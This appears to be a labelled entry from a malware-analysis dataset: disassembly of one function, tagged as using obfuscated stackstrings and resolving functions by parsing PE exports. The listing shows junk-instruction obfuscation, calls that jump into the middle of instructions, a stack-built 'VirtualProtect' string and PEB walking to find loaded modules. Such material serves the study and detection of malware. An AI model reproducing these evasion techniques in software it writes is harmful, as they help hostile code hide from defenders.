Function at 0x10007e59
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x10007da6
mov ecx, dword [ebp - 0x5dc]
mov dword [ebp - 0x8d4], ecx
push ebx
push ebx
add esp, 4
or ebx, 0x246c
pop ebx
push ecx
xor ecx, 0x2cbb
pop ecx
push ebx
push esi
add esp, 4
or ebx, 0xe6ef
and ebx, 0xfdcd
sub ebx, 0x120dc
sub ebx, 0x15059
pop ebx
mov edx, dword [ebp - 0x490]
add edx, 0xe
mov dword [ebp - 0x1fe8], edx
push eax
call 0x10007e00
add byte [eax + 0x3e], al
inc esp
dec edx
dec eax
add esp, 4
xor eax, 0x139bc
jmp 0x10007e12
xor eax, 0xd5a7
pop eax
push eax
push eax
add esp, 4
or eax, 0x9e7c
pop eax
cmp dword [ebp - 0x490], 0
je 0x10007e37
cmp dword [ebp - 0xc1c], 0
jne 0x10007e7d
push eax
push esi
add esp, 4
jmp 0x10007e42
pop eax
push edi
jmp 0x10007e4a
pop edi
push esi
call 0x10007e59
add byte [0x3e463637], bh
dec esi
dec esi
add esp, 4
sub esi, 0x183de
jmp 0x10007e68
pop esi
mov eax, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fa0], eax
push 0
call dword [ebp - 0x1fa0]
mov dword [ebp - 0x27bc], 0xa
push ecx
jmp 0x10007e8d
xor ecx, 0x17798
add ecx, 0xc6f6
and ecx, 0x178db
pop ecx
push edx
push edi
add esp, 4
xor edx, 0x13321
and edx, 0x7da2
jmp 0x10007eb8
pop edx
mov ecx, dword [ebp - 0x490]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x459], dl
mov eax, dword [ebp - 0xc1c]
sub eax, dword [ebp - 0x490]
mov dword [ebp - 0x19c0], eax
mov dword [ebp - 0xf00], 0
push esi
push eax
add esp, 4
and esi, 0x132b2
or esi, 0x175d4
add esi, 0xe745
pop esi
push edx
xor edx, 0x164cc
sub edx, 0x1519f
jmp 0x10007f0f
and edx, 0x1f7a
pop edx
mov byte [ebp - 0xb74], 0x56
mov byte [ebp - 0xb73], 0x69
mov byte [ebp - 0xb72], 0x72
mov byte [ebp - 0xb71], 0x74
mov byte [ebp - 0xb70], 0x75
mov byte [ebp - 0xb6f], 0x61
mov byte [ebp - 0xb6e], 0x6c
mov byte [ebp - 0xb6d], 0x50
mov byte [ebp - 0xb6c], 0x72
mov byte [ebp - 0xb6b], 0x6f
mov byte [ebp - 0xb6a], 0x74
mov byte [ebp - 0xb69], 0x65
mov byte [ebp - 0xb68], 0x63
mov byte [ebp - 0xb67], 0x74
mov byte [ebp - 0xb66], 0
push eax
push edx
add esp, 4
xor eax, 0x1689a
sub eax, 0x11c92
sub eax, 0x15177
and eax, 0x15a51
pop eax
push edi
call 0x10007fad
add byte [ebx], dh
inc eax
inc ecx
inc edi
cmp cl, byte [ecx + 0x3c]
dec ebp
dec edx
add esp, 4
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1fa4], ecx
mov edx, dword [ebp - 0x1fa4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1fa8], eax
mov ecx, dword [ebp - 0x1fa8]
mov dword [ebp - 0x1940], ecx
push edx
and edx, 0xdb99
jmp 0x10007fe6
and edx, 0xff97
and edx, 0xee0
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x13fc1
and ecx, 0x5f52
xor ecx, 0x110c1
pop ecx
cmp dword [ebp - 0x1940], 0
jne 0x10008023
mov dword [ebp - 0x37c], 0
jmp 0x100082df
mov edx, dword [ebp - 0x1940]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xedc], ecx
push edx
sub edx, 0xfbba
jmp 0x10008045
pop edx
push eax
push ecx
add esp, 4
and eax, 0x1609
call 0x1000805d
add byte [edx], bh
xor eax, 0x4c4f3a33
add esp, 4
jmp 0x10008066
pop eax
cmp dword [ebp - 0xedc], 0
jne 0x1000807f
mov dword [ebp - 0x37c], 0
jmp 0x100082df
mov edx, dword [ebp - 0xedc]
mov dword [ebp - 0x5e0], edx
push ebx
call 0x1000809b
add byte [ebx + 0x4c], cl
dec ebx
inc esi
inc ecx
dec edx
xor al, 0x44
xor eax, 0x5b04c483
push edi
push ecx
add esp, 4
and edi, 0x743e
xor edi, 0xbc9c
or edi, 0x170e0
xor edi, 0x5a4e
pop edi
lea eax, [ebp - 0x1a84]
mov dword [ebp - 0xed8], eax
mov ecx, dword [ebp - 0x5e0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xed4], edx
xor eax, eax
mov word [ebp - 0x27c], ax
xor ecx, ecx
mov word [ebp - 0x144], cx
push ebx
and ebx, 0x17658
and ebx, 0x12a4c
call 0x10008106
add byte [eax + 0x4e], dl
dec esi
cmp al, 0x4d
dec ebx
cmp byte [eax + 0x34], al
add esp, 4
pop ebx
push edx
push ecx
add esp, 4
xor edx, 0x174e3
xor edx, 0x13dd6
pop edx
invalid
xchg ebp, eax
sub al, 0xf1